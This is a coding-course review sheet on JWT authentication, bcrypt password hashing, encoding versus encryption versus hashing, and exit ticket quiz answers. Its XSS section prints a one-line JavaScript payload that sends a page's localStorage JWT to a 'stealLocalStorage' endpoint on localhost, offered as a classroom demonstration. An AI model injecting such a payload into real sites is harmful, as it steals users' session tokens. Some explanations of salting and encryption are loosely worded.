# JWT Review and Extra Content and Exit Ticket Solutions

## Token Anatomy

- Header: identifies the algorithm that was used to generate the signature
- Payload: holds data we want related to the user such role, level of access
- Signature: validates the token and makes sure it wasn't altered (ensures integrity)

## `jsonwebtoken`

## Ingredients

- `sign`: takes in two arguments, the data, and a secret and returns a token
- `verify`: takes in two arguments, a token, and a secret, and returns if the data is valid or throws and error if not

## Storing passwords in plaintext is a bad idea

## `bcrypt`

## Ingredients

- `hash`: creates a hashed value from a plain password
- takes in two arguments, the password, and salt rounds where salt rounds adds a little extra security, not necessarily for the individual user, but for all the users
- The thing about hash functions is that the same input will always generate the same output, so when we salt, we can hash the same password multiple times, and get different hashed values
- A higher salt count means more rounds of salting are being done, which means more time, which means more secure
- Also called a cost factor which just means how many times the Bcrypt function is called consecutively

            $2b$04$8QUZMKkGqMcOah30KOv1keQmCwuLAezsPJ5psPcCY.k1SAz0p93Wq
            // 2b is the algorithm
            // 04 is the cost factor/salt rounds
            // The rest is the salt then the hash

- `compare`: compares a plain password against a hashed password
- takes in two arguments, the password being sent in, and the user's hashed + salted password

## Sample Data Flow


## XSS Attack

XSS attacks enable attackers to inject client-side scripts into web pages viewed by other users

- [https://medium.com/redteam/stealing-jwts-in-localstorage-via-xss-6048d91378a0](https://medium.com/redteam/stealing-jwts-in-localstorage-via-xss-6048d91378a0)
- [https://blog.logrocket.com/jwt-authentication-best-practices/](https://blog.logrocket.com/jwt-authentication-best-practices/)

**Note: If you want to try this out on your own, spin up another app on another port and put that port number in the below link. The JWT workshop is on 3000.**

new Image().src = "http://localhost:8080/stealLocalStorage?values=" 
    + JSON.stringify(localStorage.getItem('token'))

`btoa` encodes a string in base 64

## Encoding vs. Encryption vs. Hashing

### Encoding [Data Usability] (ASCII, Unicode, Base64, URL Encoding)

- The purpose of encoding is to transform data so that it can be properly used by a different type of system. For example, if we need to view special characters on a web page or data being sent over email. **The goal is to ensure that it's able to be properly used**. **Encoding transforms data into another format using a scheme that is publicly available so that it can be easily reversed**.

### Encryption [Data Confidentiality]

- The purpose of encryption is to transform data in order to keep it secret from others. Example is if you want to send someone a secret letter that only they should be able to read, or securely sending a password over the Internet. **Rather than focus on usability, the goal is to ensure the data cannot be accessed by anyone other than the intended recipients. Encryption transforms data into another format that only specific privileged folks can reverse that information.**

### Hashing [Data Integrity]

- The purpose of hashing is to ensure integrity making it so that if something has changed, you can know that it has changed. Hashing takes in an input, and produces a fixed-length string that:
- The same input will always produce the same output
- Multiple different inputs should not produce the same out (more on this on Thursday)
- It should not be possible to go from output to input
- Any modification of a given input should result in a drastic change to the hash

## Exit Ticket Solutions

**You should be able to:**
- Explain the motivation for token-based authentication.
- Describe the various parts of a JSON web token.
- Implement JWT authentication in a full stack application using the jsonwebtoken library.
- Explain the motivation for encrypting passwords.
- Use the bcrypt library to encrypt passwords before you store them in your database.

### What is the motivation behind using token-based authentication?

- Instead of asking users to provide their username and password along with every request, we provide them a single token after logging in that will accompany future request.

### A JWT consists of three parts. Which of the following is NOT one of those parts?

| | Option | Explanation |
| - | ------ | ----------- |
| | Signature | This is the part that verifies the authenticity of the token (generated using a secret) |
| | Payload | This is where we store our data (eg user id) |
| | Header | This is where the type and hashing algorithm are declared |
| ☑️ | Authorization | Not one of the three parts |

### Where is a JWT stored?

| | Option | Explanation |
| - | ------ | ----------- |
| ☑️ | Frontend | Tokens are provided by the server, but are only stored and managed by the frontend |
| | Backend (server) | |
| | Backend (database) | |
| | All of the above | |

### Which of the following is true regarding hashing passwords with bcrypt?

| | Option | Explanation |
| - | ------ | ----------- |
| ☑️ | Hashed passwords are extra secure due to the "salting" process that adds a bit of randomness to hashing | Salting happens every time you hash the password so that if muliple users have the same password, the hashing output still looks different |
| | After hashing a password it's impossible to compare it with plain passwords | Not true - the `bcrypt` compare function is able to compare it |
| | If you hash the same password more than once, you'll get the same hashed output every time | Not true due to salting |
| | It is still unsafe to store hashed passwords in your database | Not true - after hashing passwords it is okay to store them in your database |